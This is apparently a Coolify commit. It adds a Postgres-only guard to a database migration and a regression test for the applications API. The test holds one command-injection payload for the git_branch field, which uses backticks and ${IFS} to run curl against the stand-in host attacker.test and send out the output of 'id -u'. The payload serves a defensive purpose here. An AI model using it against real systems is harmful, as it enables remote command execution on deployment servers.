fix(db): skip postgres tuning outside pgsql

Guard the fillfactor/autovacuum migration on non-Postgres connections.
Add API regression coverage for command-substitution git_branch payloads.

database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php

@@ -7,6 +7,10 @@ return new class extends Migration
 {
     public function up(): void
     {
+        if (DB::connection()->getDriverName() !== 'pgsql') {
+            return;
+        }
+
         // Fillfactor < 100 leaves free space per page so Postgres can do HOT
         // (Heap-Only Tuple) in-place updates instead of allocating a new tuple
         // elsewhere. Coolify's hot-update tables churn rows on every Sentinel
@@ -40,6 +44,10 @@ return new class extends Migration
 
     public function down(): void
     {
+        if (DB::connection()->getDriverName() !== 'pgsql') {
+            return;
+        }
+
         DB::statement('ALTER TABLE applications RESET (fillfactor, autovacuum_vacuum_scale_factor)');
         DB::statement('ALTER TABLE servers RESET (fillfactor, autovacuum_vacuum_scale_factor)');
         DB::statement('ALTER TABLE services RESET (fillfactor)');

tests/Feature/Api/ApplicationGitBranchSecurityTest.php

@@ -0,0 +1,89 @@
+<?php
+
+use App\Models\Application;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Str;
+use Visus\Cuid2\Cuid2;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+    session(['currentTeam' => $this->team]);
+
+    $plainTextToken = Str::random(40);
+    $token = $this->user->tokens()->create([
+        'name' => 'git-branch-security-test-'.Str::random(6),
+        'token' => hash('sha256', $plainTextToken),
+        'abilities' => ['*'],
+        'team_id' => $this->team->id,
+    ]);
+    $this->bearerToken = $token->getKey().'|'.$plainTextToken;
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = $this->server->standaloneDockers()->firstOrCreate(
+            ['network' => 'coolify'],
+            ['uuid' => (string) new Cuid2, 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) new Cuid2,
+        'name' => 'test-project',
+        'team_id' => $this->team->id,
+    ]);
+    $this->environment = $this->project->environments()->first();
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'git_branch' => 'main',
+    ]);
+});
+
+function gitBranchApiHeaders(string $bearerToken): array
+{
+    return [
+        'Authorization' => 'Bearer '.$bearerToken,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+describe('PATCH /api/v1/applications/{uuid} git_branch security', function () {
+    test('rejects backtick command substitution branch payloads', function () {
+        $payload = 'main`curl${IFS}attacker.test/coolify-rce-`id${IFS}-u``';
+
+        $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+                'git_branch' => $payload,
+            ]);
+
+        $response->assertUnprocessable()
+            ->assertJsonValidationErrors('git_branch');
+
+        expect($this->application->refresh()->git_branch)->toBe('main');
+    });
+
+    test('accepts safe branch names', function () {
+        $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+                'git_branch' => 'feature/safe-branch_1.2.3',
+            ]);
+
+        $response->assertOk();
+
+        expect($this->application->refresh()->git_branch)->toBe('feature/safe-branch_1.2.3');
+    });
+});